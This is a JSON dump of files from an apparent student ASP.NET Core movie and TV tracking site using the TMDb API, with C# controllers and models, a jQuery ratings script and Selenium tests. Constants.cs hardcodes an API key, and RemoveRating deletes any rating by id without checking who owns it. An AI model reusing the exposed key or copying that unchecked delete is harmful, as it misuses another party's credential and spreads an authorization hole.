System.Collections.Generic;\r\n\r\nnamespace M_TV_Info.Data\r\n{\r\n //public class ApplicationDbContext : IdentityDbContext\r\n public class ApplicationDbContext : IdentityDbContext\r\n {\r\n public ApplicationDbContext() {}\r\n public ApplicationDbContext(DbContextOptions<ApplicationDbContext> options) : base(options) {}\r\n\r\n\r\n public DbSet<User> Users { get; set; }\r\n public DbSet<FavouriteModel> Favourite { get; set; }\r\n public DbSet<MediaModel> Media { get; set; }\r\n public DbSet<RatingsModel> Rating { get; set; }\r\n public DbSet<WatchlistModel> Watchlist { get; set; }\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.593137264251709, "alphanum_fraction": 0.593137264251709, "avg_line_length": 25.322580337524414, "blob_id": "b8e123d01c3089f75098a745daa0c178607ba789", "content_id": "cd53c7848b5831ad1f41e84c69700e70ebb4d53e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C#", "length_bytes": 818, "license_type": "no_license", "max_line_length": 60, "num_lines": 31, "path": "/M-TV-Info/Models/RatingModel.cs", "repo_name": "ADOPSE-Team/M-TV-Info", "src_encoding": "UTF-8", "text": "using System;\nusing System.Collections.Generic;\nusing System.ComponentModel.DataAnnotations;\n\nnamespace M_TV_Info.Models\n{\n public class RatingsModel\n {\n [Key]\n public int id { get; set; }\n public string user_id { get; set; }\n public int media_id { get; set; }\n public string movie_title { get; set; }\n public string movie_poster { get; set; }\n public int rate { get; set; }\n public DateTime w_date { get; set; }\n }\n\n public class RatingsModelPost\n {\n public int media_id { get; set; }\n public string movie_title { get; set; }\n public string movie_poster { get; set; }\n public int star { get; set; }\n }\n\n public class RatingsModelView\n {\n public List<RatingsModel> RatingsModel { get; set; }\n }\n}\n" }, { "alpha_fraction": 0.5150501728057861, "alphanum_fraction": 0.5158863067626953, "avg_line_length": 26.5238094329834, "blob_id": "dcf3bf10faee350aead120aaef83a6bbf6468824", "content_id": "131c29de2873721de7c023f3be3d43c2ae118117", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C#", "length_bytes": 1196, "license_type": "no_license", "max_line_length": 115, "num_lines": 42, "path": "/M-TV-Info/Controllers/SearchController.cs", "repo_name": "ADOPSE-Team/M-TV-Info", "src_encoding": "UTF-8", "text": "using System.Net.Http;\r\nusing System.Threading.Tasks;\r\nusing API.Helpers;\r\nusing M_TV_Info.Models.TMDbModels;\r\nusing Microsoft.AspNetCore.Mvc;\r\nusing Newtonsoft.Json;\r\n\r\nnamespace M_TV_Info.Controllers\r\n{\r\n public class SearchController : Controller\r\n {\r\n\r\n // Return View\r\n public IActionResult Search(string query)\r\n {\r\n var model = GetSearchResult(query);\r\n\r\n return View(model);\r\n } \r\n\r\n // GET /search/keyword\r\n [HttpGet(\"search/{query}\")]\r\n public async Task<SearchModel> GetSearchResult(string query)\r\n {\r\n HttpClient http = new HttpClient();\r\n\r\n if(!(query is null))\r\n {\r\n var data = http.GetAsync(\"https://api.themoviedb.org/3/search/multi?api_key=\" + Constants.ApiKey + \r\n \"&query\" + query);\r\n \r\n if(!(data is null))\r\n {\r\n var content = await data.Result.Content.ReadAsStringAsync();\r\n return JsonConvert.DeserializeObject<SearchModel>(content);\r\n }\r\n }\r\n\r\n return null;\r\n }\r\n }\r\n}" }, { "alpha_fraction": 0.6410133838653564, "alphanum_fraction": 0.6424474120140076, "avg_line_length": 33.86666488647461, "blob_id": "1e7c4ae81f2772584007661d094ea975449a3336", "content_id": "ae75953d2358ef77a21b4c315da552295606282e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C#", "length_bytes": 4186, "license_type": "no_license", "max_line_length": 144, "num_lines": 120, "path": "/M-TV-Info/Controllers/HomeController.cs", "repo_name": "ADOPSE-Team/M-TV-Info", "src_encoding": "UTF-8", "text": "using API.Helpers;\nusing M_TV_Info.Data;\nusing M_TV_Info.Models;\nusing M_TV_Info.Models.TMDbModels;\nusing Microsoft.AspNetCore.Mvc;\nusing Microsoft.Extensions.Logging;\nusing Newtonsoft.Json;\nusing System.Diagnostics;\nusing System.Linq;\nusing System.Net.Http;\nusing System.Security.Claims;\nusing System.Threading.Tasks;\n\nnamespace M_TV_Info.Controllers\n{\n public class HomeController : Controller\n {\n HttpClient client = new HttpClient();\n private readonly ILogger<HomeController> _logger;\n private readonly ApplicationDbContext _context;\n public HomeController(ILogger<HomeController> logger,\n ApplicationDbContext context)\n {\n _context = context;\n _logger = logger;\n }\n\n\n // Index View\n public async Task<IActionResult> IndexAsync()\n {\n var TrendingMoviesData = await client.GetStringAsync(\"https://api.themoviedb.org/3/trending/movie/day?api_key=\" + Constants.ApiKey);\n var TrendingTVData = await client.GetStringAsync(\"https://api.themoviedb.org/3/trending/tv/day?api_key=\" + Constants.ApiKey);\n var UpcomingMoviesData = await client.GetStringAsync(\"https://api.themoviedb.org/3/movie/upcoming?api_key=\" + Constants.ApiKey);\n\n var TrendingMoviesContent = JsonConvert.DeserializeObject<TrendingsModel>(TrendingMoviesData);\n var TrendingTVContent = JsonConvert.DeserializeObject<TrendingsModel>(TrendingTVData);\n var UpcomingMoviesContent = JsonConvert.DeserializeObject<UpcomingModel>(UpcomingMoviesData);\n\n HomeModel home = new HomeModel();\n\n home.TrendingMovies = TrendingMoviesContent.results;\n home.TrendingTvShows = TrendingTVContent.results;\n home.UpcomingMovies = UpcomingMoviesContent.results;\n\n return View(home);\n }\n public IActionResult Privacy()\n {\n return View();\n }\n\n // WatchList Page\n public IActionResult Watchlist()\n {\n var userId = User.FindFirstValue(ClaimTypes.NameIdentifier);\n\n var currentUserWatchList = _context.Watchlist.Where(i => i.user_id == userId).ToList();\n\n WatchListModelView model = new WatchListModelView();\n\n model.WatchlistModel = currentUserWatchList;\n\n return View(model);\n }\n\n // Ratings Page\n public IActionResult Ratings()\n {\n var userId = User.FindFirstValue(ClaimTypes.NameIdentifier);\n\n var currentUserRatings = _context.Rating.Where(i => i.user_id == userId).ToList();\n\n RatingsModelView model = new RatingsModelView();\n\n model.RatingsModel = currentUserRatings;\n\n return View(model);\n }\n\n // Favorites Page\n public IActionResult Favorites()\n {\n var userId = User.FindFirstValue(ClaimTypes.NameIdentifier);\n\n var currentUserFavourites = _context.Favourite.Where(i => i.user_id == userId).ToList();\n\n FavouritesModelView model = new FavouritesModelView();\n\n model.FavouriteModel = currentUserFavourites;\n\n return View(model);\n }\n\n // Movie View Page\n public async Task<IActionResult> MovieView(int id)\n {\n var data = await client.GetStringAsync(\"https://api.themoviedb.org/3/movie/\" + id + \"?api_key=\" + Constants.ApiKey);\n var content = JsonConvert.DeserializeObject<MovieModel>(data);\n\n return View(content);\n }\n\n // Search \n [HttpPost]\n public async Task<IActionResult> Search(string query)\n {\n var data = await client.GetStringAsync(\"https://api.themoviedb.org/3/search/multi?api_key=\" + Constants.ApiKey + \"&query=\" + query);\n var content = JsonConvert.DeserializeObject<SearchModel>(data);\n\n return View(content);\n }\n\n [ResponseCache(Duration = 0, Location = ResponseCacheLocation.None, NoStore = true)]\n public IActionResult Error()\n {\n return View(new ErrorViewModel { RequestId = Activity.Current?.Id ?? HttpContext.TraceIdentifier });\n }\n }\n}\n" }, { "alpha_fraction": 0.6101468801498413, "alphanum_fraction": 0.6101468801498413, "avg_line_length": 24.827587127685547, "blob_id": "5c564abcf44cfb5b2eab6420d0fafd8f1a694e89", "content_id": "05e686cb70fb6f8bd082c98ebae325ed25f654d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C#", "length_bytes": 751, "license_type": "no_license", "max_line_length": 64, "num_lines": 29, "path": "/M-TV-Info/Models/FavouriteModel.cs", "repo_name": "ADOPSE-Team/M-TV-Info", "src_encoding": "UTF-8", "text": "using System;\nusing System.Collections.Generic;\nusing System.ComponentModel.DataAnnotations;\n\nnamespace M_TV_Info.Models\n{\n public class FavouriteModel\n {\n [Key]\n public int id { get; set; }\n public string user_id { get; set; }\n public int media_id { get; set; }\n public string movie_title{ get; set; }\n public string movie_poster {get; set; }\n public DateTime w_date { get; set; }\n }\n\n public class FavouriteModelPost\n {\n public int media_id { get; set; }\n public string movie_title { get; set; }\n public string movie_poster { get; set; }\n }\n\n public class FavouritesModelView\n {\n public List<FavouriteModel> FavouriteModel { get; set; }\n }\n}\n" }, { "alpha_fraction": 0.668571412563324, "alphanum_fraction": 0.668571412563324, "avg_line_length": 25.076923370361328, "blob_id": "f782ba9e44405b23b20ddec8a747f9d833ad9504", "content_id": "e875d6a8e8583bb34a66d31c4b0f12030727cb4d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C#", "length_bytes": 350, "license_type": "no_license", "max_line_length": 66, "num_lines": 13, "path": "/M-TV-Info/Models/HomeModel.cs", "repo_name": "ADOPSE-Team/M-TV-Info", "src_encoding": "UTF-8", "text": "using System.Collections.Generic;\r\nusing M_TV_Info.Models.TMDbModels;\r\n\r\nnamespace M_TV_Info.Models\r\n{\r\n public class HomeModel\r\n {\r\n public List<TrendingsResult> TrendingMovies { get; set; }\r\n public List<TrendingsResult> TrendingTvShows { get; set; }\r\n public List<UpcomingResult> UpcomingMovies { get; set; }\r\n }\r\n\r\n}" }, { "alpha_fraction": 0.4705732464790344, "alphanum_fraction": 0.4756687879562378, "avg_line_length": 32.27118682861328, "blob_id": "5c8feb55550d915668a419b59ae324e313b71545", "content_id": "1e5577a11bd34a6e86aedb64a641c0a55dce6faf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 3925, "license_type": "no_license", "max_line_length": 61, "num_lines": 118, "path": "/M-TV-Info/wwwroot/js/ratings.js", "repo_name": "ADOPSE-Team/M-TV-Info", "src_encoding": "UTF-8", "text": "// Movie Review\n$(document).ready( function(){\n\n // 5 Star\n $(\"#star5\").click( function(){\n var media_id = $('#movie_id');\n var movie_title = $('#movie_title');\n var movie_poster = $('#poster_path');\n var star = $('#star5');\n var _review = new Object();\n _review.media_id = media_id.val();\n _review.movie_title = movie_title.val();\n _review.movie_poster = movie_poster.val();\n _review.star = star.val();\n $.ajax({\n type: \"POST\", //HTTP POST Method \n url: \"/api/AjaxAPI/AddRating\", // Controller/View\n dataType: \"json\",\n data: _review,\n //contentType: \"application/json; charset=utf-8\",\n success: function () {\n location.reload();\n }\n });\n });\n\n // 4 Star\n $(\"#star4\").click( function(){\n var media_id = $('#movie_id');\n var movie_title = $('#movie_title');\n var movie_poster = $('#poster_path');\n var star = $('#star4');\n var _review = new Object();\n _review.media_id = media_id.val();\n _review.movie_title = movie_title.val();\n _review.movie_poster = movie_poster.val();\n _review.star = star.val();\n $.ajax({\n type: \"POST\", //HTTP POST Method \n url: \"/api/AjaxAPI/AddRating\", // Controller/View\n dataType: \"json\",\n data: _review,\n //contentType: \"application/json; charset=utf-8\",\n success: function () {\n location.reload();\n }\n });\n });\n\n // 3 Star\n $(\"#star3\").click( function(){\n var media_id = $('#movie_id');\n var movie_title = $('#movie_title');\n var movie_poster = $('#poster_path');\n var star = $('#star3');\n var _review = new Object();\n _review.media_id = media_id.val();\n _review.movie_title = movie_title.val();\n _review.movie_poster = movie_poster.val();\n _review.star = star.val();\n $.ajax({\n type: \"POST\", //HTTP POST Method \n url: \"/api/AjaxAPI/AddRating\", // Controller/View\n dataType: \"json\",\n data: _review,\n //contentType: \"application/json; charset=utf-8\",\n success: function () {\n location.reload();\n }\n });\n });\n\n // 2 Star\n $(\"#star2\").click( function(){\n var media_id = $('#movie_id');\n var movie_title = $('#movie_title');\n var movie_poster = $('#poster_path');\n var star = $('#star2');\n var _review = new Object();\n _review.media_id = media_id.val();\n _review.movie_title = movie_title.val();\n _review.movie_poster = movie_poster.val();\n _review.star = star.val();\n $.ajax({\n type: \"POST\", //HTTP POST Method \n url: \"/api/AjaxAPI/AddRating\", // Controller/View\n dataType: \"json\",\n data: _review,\n //contentType: \"application/json; charset=utf-8\",\n success: function () {\n location.reload();\n }\n });\n });\n\n // 1 Star\n $(\"#star1\").click( function(){\n var media_id = $('#movie_id');\n var movie_title = $('#movie_title');\n var movie_poster = $('#poster_path');\n var star = $('#star1');\n var _review = new Object();\n _review.media_id = media_id.val();\n _review.movie_title = movie_title.val();\n _review.movie_poster = movie_poster.val();\n _review.star = star.val();\n $.ajax({\n type: \"POST\", //HTTP POST Method \n url: \"/api/AjaxAPI/AddRating\", // Controller/View\n dataType: \"json\",\n data: _review,\n //contentType: \"application/json; charset=utf-8\",\n success: function () {\n location.reload();\n }\n });\n });\n});" }, { "alpha_fraction": 0.6037036776542664, "alphanum_fraction": 0.6037036776542664, "avg_line_length": 19.769229888916016, "blob_id": "1281791e6d5e31341564913025602fdd1795b572", "content_id": "bf3fab602ed4c204ad6387a68b36ca4b0f0334b8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C#", "length_bytes": 272, "license_type": "no_license", "max_line_length": 45, "num_lines": 13, "path": "/M-TV-Info/Models/MediaModel.cs", "repo_name": "ADOPSE-Team/M-TV-Info", "src_encoding": "UTF-8", "text": "using System;\nusing System.ComponentModel.DataAnnotations;\n\nnamespace M_TV_Info.Models\n{\n public class MediaModel\n {\n [Key]\n public int id { get; set; }\n public string title { get; set; }\n public string poser_url { get; set; }\n }\n}\n" }, { "alpha_fraction": 0.5174825191497803, "alphanum_fraction": 0.6573426723480225, "avg_line_length": 18.714284896850586, "blob_id": "0c26bee00e4ae14cdae3e2e0869992f9c01b6e5d", "content_id": "c911ce80a9494194eb0a99c70d86194bee809929", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C#", "length_bytes": 143, "license_type": "no_license", "max_line_length": 72, "num_lines": 7, "path": "/M-TV-Info/Helpers/Constants.cs", "repo_name": "ADOPSE-Team/M-TV-Info", "src_encoding": "UTF-8", "text": "namespace API.Helpers\r\n{\r\n public class Constants\r\n {\r\n public const string ApiKey = \"38e4159a51884d450eefb61ff274ce8c\";\r\n }\r\n}" }, { "alpha_fraction": 0.5328892469406128, "alphanum_fraction": 0.5333055853843689, "avg_line_length": 26.30681800842285, "blob_id": "e10e2f6b61eadc2a487ac653d8a1d25fd6801942", "content_id": "5e378144ad846d7e6fc5a1cae856b9f9d21ddb56", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C#", "length_bytes": 2404, "license_type": "no_license", "max_line_length": 127, "num_lines": 88, "path": "/M-TV-Info/Controllers/RatingController.cs", "repo_name": "ADOPSE-Team/M-TV-Info", "src_encoding": "UTF-8", "text": "using System.Collections.Generic;\nusing M_TV_Info.Models;\nusing M_TV_Info.Data;\nusing System.Linq;\nusing Microsoft.AspNetCore.Mvc;\nusing System.Security.Claims;\nusing System;\n\nnamespace M_TV_Info.Controllers\n{\n public class RatingController : Controller\n {\n private readonly ApplicationDbContext _context;\n\n public RatingController(ApplicationDbContext context)\n {\n _context = context;\n\n }\n\n // Add Rating\n [Route(\"api/AjaxAPI/AddRating\")]\n [HttpPost]\n public ActionResult AddRating(RatingsModelPost ratings)\n {\n var userId = User.FindFirstValue(ClaimTypes.NameIdentifier);\n\n RatingsModel _ratings = new RatingsModel();\n DateTime date = DateTime.Now;\n\n var callRating = _context.Rating.Where(i => i.media_id == ratings.media_id && i.user_id ==userId).FirstOrDefault();\n\n if(!(callRating is null))\n {\n\n callRating.rate = ratings.star;\n _context.SaveChanges();\n }\n else \n {\n _ratings.media_id = ratings.media_id;\n _ratings.movie_poster = ratings.movie_poster;\n _ratings.movie_title = ratings.movie_title;\n _ratings.user_id = userId;\n _ratings.rate = ratings.star;\n _ratings.w_date = date;\n\n _context.Add(_ratings);\n _context.SaveChanges();\n }\n\n return Ok(_ratings);\n }\n\n // Remove from Ratings\n [Route(\"Ratings\")]\n [HttpPost]\n public ActionResult RemoveRating(int id)\n {\n var getRate = _context.Rating.Where(r => r.id == id).FirstOrDefault();\n\n _context.Rating.Remove(getRate);\n\n _context.SaveChanges();\n\n return Redirect(\"Home/Ratings\");\n }\n\n // Check if Exists\n [Route(\"/api/AjaxAPI/CheckRating\")]\n [HttpPost]\n public int CheckRating(int id)\n {\n var userId = User.FindFirstValue(ClaimTypes.NameIdentifier);\n\n var getRate = _context.Rating.Where(i => i.media_id == id && i.user_id == userId).FirstOrDefault();\n\n if( !(getRate is null) )\n {\n return getRate.rate;\n }\n else\n {\n return 0;\n }\n }\n }\n}" }, { "alpha_fraction": 0.5460704565048218, "alphanum_fraction": 0.549877405166626, "avg_line_length": 29.87251091003418, "blob_id": "fb4ac9ba5257edf7c8347ec02279a04ff786bf0c", "content_id": "d80449e94b6805fa43700cc56a1848f8e600a187", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15498, "license_type": "no_license", "max_line_length": 110, "num_lines": 502, "path": "/Tests/Selenium/tester.py", "repo_name": "ADOPSE-Team/M-TV-Info", "src_encoding": "UTF-8", "text": "from selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.ui import Select\nfrom selenium.webdriver.common.keys import Keys\nfrom pynput.keyboard import Key, Controller\nfrom selenium import webdriver\nfrom sys import platform\nfrom sys import exit\nfrom time import sleep\nimport manager\n\nURL = None\ndriver = None\n\ndef setup():\n global URL \n global driver \n\n if (platform == \"linux\"):\n URL = manager.get_URL(\"default-config\")\n driver = webdriver.Firefox()\n elif (platform == \"win32\"):\n URL = manager.get_URL(\"windows-config\")\n path = manager.get_gecko_location(\"windows-config\")\n driver = webdriver.Firefox(executable_path=path)\n else:\n print(\"Unsupported platform\")\n exit(1)\n\n\ndef close():\n driver.close() \n\ndef register(username, name, email, password, confirm_password, birthday, country):\n driver.get(URL)\n\n register_button = driver.find_element_by_xpath(\"// a[contains(text(),'Register')]\")\n register_button.click()\n\n input_username = driver.find_element_by_id(\"Input_Username\")\n input_name = driver.find_element_by_id(\"Input_Name\")\n input_email = driver.find_element_by_id(\"Input_Email\")\n input_password = driver.find_element_by_id(\"Input_Password\")\n input_confirm_password = driver.find_element_by_id(\"Input_ConfirmPassword\")\n input_birthday = driver.find_element_by_id(\"Input_Birthday\")\n input_country = driver.find_element_by_id(\"Input_Country\")\n\n input_username.send_keys(username)\n input_name.send_keys(name)\n input_email.send_keys(email)\n input_password.send_keys(password)\n input_confirm_password.send_keys(confirm_password)\n input_birthday.click()\n input_confirm_password.click()\n\n # TODO Must be changed, problematic\n input_birthday.click()\n input_birthday.send_keys(\"\")\n keyboard = Controller()\n for num in birthday:\n sleep(.1)\n keyboard.press(num)\n\n select = Select(input_country)\n select.select_by_visible_text(country)\n\n driver.find_element_by_xpath(\"// button[contains(text(),'Register')]\").click()\n try:\n driver.find_element_by_id(\"confirm-link\").click()\n return True\n except:\n return driver.find_element_by_class_name(\"validation-summary-errors\").text\n\ndef execute_register_tests():\n tests = manager.get_register_tests()\n\n print(\"Register Tests:\", len(tests))\n i = 1\n \n for test in tests:\n setup()\n\n expected_result = tests.get(test).get(\"result\") == \"True\"\n register_result = register(\n tests.get(test).get(\"username\"),\n tests.get(test).get(\"name\"),\n tests.get(test).get(\"email\"),\n tests.get(test).get(\"password\"),\n tests.get(test).get(\"confirm_password\"),\n tests.get(test).get(\"birthday\"),\n tests.get(test).get(\"country\")\n )\n\n if (expected_result == register_result):\n print(\"[\" + str(i) + \"/\" + str(len(tests)) + \"]\", \"PASSED\")\n else:\n # TODO Handle more reports\n print(\"[\" + str(i) + \"/\" + str(len(tests)) + \"]\", \"FAILED\")\n\n print(\"\\tUser:\", tests.get(test).get(\"username\"))\n print(\"\\tExpected:\", expected_result)\n print(\"\\tResult:\", register_result)\n \n i+=1\n\n close()\n\ndef login(username, password):\n driver.get(URL)\n\n driver.find_element_by_xpath(\"// a[contains(text(),'Login')]\").click()\n\n email_field = driver.find_element_by_id(\"Input_Email\")\n password_field = driver.find_element_by_id(\"Input_Password\")\n\n email_field.send_keys(username)\n password_field.send_keys(password)\n\n password_field.send_keys(Keys.RETURN)\n \n try:\n sleep(2)\n driver.find_element_by_id(\"Input_Email\")\n return False\n except:\n return True\n\ndef execute_login_tests():\n tests = manager.get_login_tests()\n\n print(\"Login Tests:\", len(tests))\n i = 1\n\n for test in tests:\n setup()\n\n expected_result = tests.get(test).get(\"result\") == \"True\"\n login_results = login(\n tests.get(test).get(\"username\"),\n tests.get(test).get(\"password\")\n )\n\n if (expected_result == login_results):\n print(\"[\" + str(i) + \"/\" + str(len(tests)) + \"]\", \"PASSED\")\n else:\n print(\"[\" + str(i) + \"/\" + str(len(tests)) + \"]\", \"FAILED\")\n\n print(\"\\tUser:\", tests.get(test).get(\"username\"))\n print(\"\\tExpected:\", expected_result)\n print(\"\\tResult:\", login_results)\n\n i+=1\n\n close()\n\ndef profile(email, password, username, name, birthday, country):\n if (login(email, password)):\n driver.find_element_by_xpath(\"// a[contains(text(),'Hello ')]\").click()\n\n profile_username = driver.find_element_by_id(\"Input_Username\")\n profile_name = driver.find_element_by_id(\"Input_Name\")\n profile_email = driver.find_element_by_id(\"Input_Email\")\n profile_birthday = driver.find_element_by_id(\"Input_Birthday\")\n profile_country = driver.find_element_by_id(\"Input_Country\")\n\n report = [\n profile_username.get_attribute(\"value\") == username,\n profile_name.get_attribute(\"value\") == name,\n profile_email.get_attribute(\"value\") == email,\n profile_birthday.get_attribute(\"value\") == birthday,\n profile_country.get_attribute(\"value\") == country\n ]\n\n return report\n else:\n return False\n\ndef execute_profile_tests():\n tests = manager.get_profile_tests()\n\n print(\"Profile Tests:\", len(tests))\n i = 1\n\n for test in tests:\n setup()\n\n profile_results = profile(\n tests.get(test).get(\"email\"),\n tests.get(test).get(\"password\"),\n tests.get(test).get(\"username\"),\n tests.get(test).get(\"name\"),\n tests.get(test).get(\"birthday\"),\n tests.get(test).get(\"country\")\n )\n\n if (False):\n print(\"[\" + str(i) + \"/\" + str(len(tests)) + \"]\", \"FAILED\")\n print(\"\\tFailed to login\")\n else:\n flag = True\n for result in profile_results:\n flag&=result\n \n if flag:\n print(\"[\" + str(i) + \"/\" + str(len(tests)) + \"]\", \"PASSED\")\n else:\n if (profile_results[0] == False):\n print(\"\\tEmail doesn't match\")\n if (profile_results[1] == False):\n print(\"\\tUsername doesn't match\")\n if (profile_results[2] == False):\n print(\"\\tName doesn't match\")\n if (profile_results[3] == False):\n print(\"\\tBirthday doesn't match\")\n if (profile_results[4] == False):\n print(\"\\tCountry doesn't match\")\n\n i+=1\n\n close()\n\ndef delete(email, password):\n if (login(email, password)):\n driver.find_element_by_xpath(\"// a[contains(text(),'Hello ')]\").click()\n driver.find_element_by_xpath(\"// a[contains(text(),'Personal data')]\").click()\n driver.find_element_by_id(\"delete\").click()\n \n input_password = driver.find_element_by_id(\"Input_Password\")\n input_password.send_keys(password)\n\n driver.find_element_by_xpath(\"// button[contains(text(),'Delete data and close my account')]\").click()\n \n if (login(email, password)):\n return False\n else:\n return True\n else:\n return -1\n\ndef execute_delete_tests():\n tests = manager.get_delete_tests()\n\n print(\"Delete Tests:\", len(tests))\n i = 1\n\n for test in tests:\n setup()\n\n delete_result = delete(\n tests.get(test).get(\"email\"),\n tests.get(test).get(\"password\")\n )\n\n if (delete_result == -1):\n print(\"[\" + str(i) + \"/\" + str(len(tests)) + \"]\", \"FAILED\")\n print(\"\\tFailed to login\")\n elif (delete_result):\n print(\"[\" + str(i) + \"/\" + str(len(tests)) + \"]\", \"PASSED\")\n else:\n print(\"[\" + str(i) + \"/\" + str(len(tests)) + \"]\", \"PASSED\")\n print(\"\\tCan't delete profile\")\n\n i+=1\n\n close()\n\ndef password(email, password):\n temp_password = \"TempPassword1@3\"\n\n if(login(email, password)):\n driver.find_element_by_xpath(\"// a[contains(text(),'Hello ')]\").click()\n driver.find_element_by_xpath(\"// a[contains(text(),'Password')]\").click()\n\n current_password = driver.find_element_by_id(\"Input_OldPassword\")\n new_password = driver.find_element_by_id(\"Input_NewPassword\")\n confirm_new_password = driver.find_element_by_id(\"Input_ConfirmPassword\")\n\n current_password.send_keys(password)\n new_password.send_keys(temp_password)\n confirm_new_password.send_keys(temp_password)\n\n driver.find_element_by_xpath(\"// button[contains(text(),'Update password')]\").click()\n driver.find_element_by_xpath(\"// button[contains(text(),'Logout')]\").click()\n \n if(login(email, temp_password)):\n driver.find_element_by_xpath(\"// a[contains(text(),'Hello ')]\").click()\n driver.find_element_by_xpath(\"// a[contains(text(),'Password')]\").click()\n\n current_password = driver.find_element_by_id(\"Input_OldPassword\")\n new_password = driver.find_element_by_id(\"Input_NewPassword\")\n confirm_new_password = driver.find_element_by_id(\"Input_ConfirmPassword\")\n\n current_password.send_keys(temp_password)\n new_password.send_keys(password)\n confirm_new_password.send_keys(password)\n\n driver.find_element_by_xpath(\"// button[contains(text(),'Update password')]\").click()\n\n return 1\n else:\n return 0\n else:\n return -1\n\ndef execute_password_tests():\n tests = manager.get_password_tests()\n\n print(\"Password Tests:\", len(tests))\n i = 1\n\n for test in tests:\n setup()\n\n password_result = password(\n tests.get(test).get(\"email\"),\n tests.get(test).get(\"password\")\n )\n\n if (password_result == 1):\n print(\"[\" + str(i) + \"/\" + str(len(tests)) + \"]\", \"PASSED\")\n elif (password_result == 0):\n print(\"[\" + str(i) + \"/\" + str(len(tests)) + \"]\", \"FAILED\")\n print(\"\\tPassword didn't change\")\n else:\n print(\"[\" + str(i) + \"/\" + str(len(tests)) + \"]\", \"FAILED\")\n print(\"\\tFailed to login\")\n\n i+=1\n\n close()\n\ndef watchlist_add(email, password):\n if login(email, password):\n movie = driver.find_element_by_xpath(\"//div/div/div/div/div/div/a[1]\").get_attribute(\"href\")\n driver.get(movie)\n\n driver.find_element_by_id(\"addWatch\").click()\n\n driver.get(URL+\"Home/Watchlist\")\n \n for a in driver.find_elements_by_xpath(\".//a\"):\n if (a.get_attribute(\"href\") == movie):\n return 1\n return 0\n else:\n return -1\n\ndef execute_watchlist_add_tests():\n tests = manager.get_watchlist_tests()\n\n print(\"Watchlist Add tests:\", len(tests))\n i = 1\n\n for test in tests:\n setup()\n\n watchlist_result = watchlist_add(\n tests.get(test).get(\"email\"),\n tests.get(test).get(\"password\")\n )\n\n if (watchlist_result == 1):\n print(\"[\" + str(i) + \"/\" + str(len(tests)) + \"]\", \"PASSED\")\n elif (watchlist_result == 0):\n print(\"[\" + str(i) + \"/\" + str(len(tests)) + \"]\", \"FAILED\")\n print(\"\\tMovie not added to watchlist\")\n else:\n print(\"[\" + str(i) + \"/\" + str(len(tests)) + \"]\", \"FAILED\")\n print(\"\\tFailed to login\")\n\n i+= 1\n\n close()\n\ndef watchlist_remove(email, password):\n if login(email, password):\n movie = driver.find_element_by_xpath(\"//div/div/div/div/div/div/a[1]\").get_attribute(\"href\")\n driver.get(movie)\n\n driver.find_element_by_id(\"addWatch\").click()\n\n driver.get(URL+\"Home/Watchlist\")\n \n for a in driver.find_elements_by_xpath(\".//a\"):\n if (a.get_attribute(\"href\") == movie):\n return 0\n return 1\n else:\n return -1\n\ndef execute_watchlist_remove_tests():\n tests = manager.get_watchlist_tests()\n\n print(\"Watchlist Remove tests:\", len(tests))\n i = 1\n\n for test in tests:\n setup()\n\n watchlist_result = watchlist_remove(\n tests.get(test).get(\"email\"),\n tests.get(test).get(\"password\")\n )\n\n if (watchlist_result == 1):\n print(\"[\" + str(i) + \"/\" + str(len(tests)) + \"]\", \"PASSED\")\n elif (watchlist_result == 0):\n print(\"[\" + str(i) + \"/\" + str(len(tests)) + \"]\", \"FAILED\")\n print(\"\\tMovie not removed from watchlist\")\n else:\n print(\"[\" + str(i) + \"/\" + str(len(tests)) + \"]\", \"FAILED\")\n print(\"\\tFailed to login\")\n\n i+= 1\n\n close()\n\ndef favorite_add(email, password):\n if login(email, password):\n movie = driver.find_element_by_xpath(\"//div/div/div/div/div/div/a[1]\").get_attribute(\"href\")\n driver.get(movie)\n\n driver.find_element_by_id(\"addFav\").click()\n\n driver.get(URL+\"Home/Favorites\")\n \n for a in driver.find_elements_by_xpath(\".//a\"):\n if (a.get_attribute(\"href\") == movie):\n return 1\n return 0\n else:\n return -1\n\ndef execute_favorite_add_tests():\n tests = manager.get_favorite_tests()\n\n print(\"Favorite Add tests:\", len(tests))\n i = 1\n\n for test in tests:\n setup()\n\n favorite_result = favorite_add(\n tests.get(test).get(\"email\"),\n tests.get(test).get(\"password\")\n )\n\n if (favorite_result == 1):\n print(\"[\" + str(i) + \"/\" + str(len(tests)) + \"]\", \"PASSED\")\n elif (favorite_result == 0):\n print(\"[\" + str(i) + \"/\" + str(len(tests)) + \"]\", \"FAILED\")\n print(\"\\tMovie not added to favorite\")\n else:\n print(\"[\" + str(i) + \"/\" + str(len(tests)) + \"]\", \"FAILED\")\n print(\"\\tFailed to login\")\n\n i+= 1\n\n close()\n\ndef favorite_remove(email, password):\n if login(email, password):\n movie = driver.find_element_by_xpath(\"//div/div/div/div/div/div/a[1]\").get_attribute(\"href\")\n driver.get(movie)\n\n driver.find_element_by_id(\"addFav\").click()\n\n driver.get(URL+\"Home/Favorites\")\n \n for a in driver.find_elements_by_xpath(\".//a\"):\n if (a.get_attribute(\"href\") == movie):\n return 0\n return 1\n else:\n return -1\n\ndef execute_favorite_remove_tests():\n tests = manager.get_favorite_tests()\n\n print(\"Favorite Remove tests:\", len(tests))\n i = 1\n\n for test in tests:\n setup()\n\n favorite_result = favorite_remove(\n tests.get(test).get(\"email\"),\n tests.get(test).get(\"password\")\n )\n\n if (favorite_result == 1):\n print(\"[\" + str(i) + \"/\" + str(len(tests)) + \"]\", \"PASSED\")\n elif (favorite_result == 0):\n print(\"[\" + str(i) + \"/\" + str(len(tests)) + \"]\", \"FAILED\")\n print(\"\\tMovie not removed from favorite\")\n else:\n print(\"[\" + str(i) + \"/\" + str(len(tests)) + \"]\", \"FAILED\")\n print(\"\\tFailed to login\")\n\n i+= 1\n\n close()\n" }, { 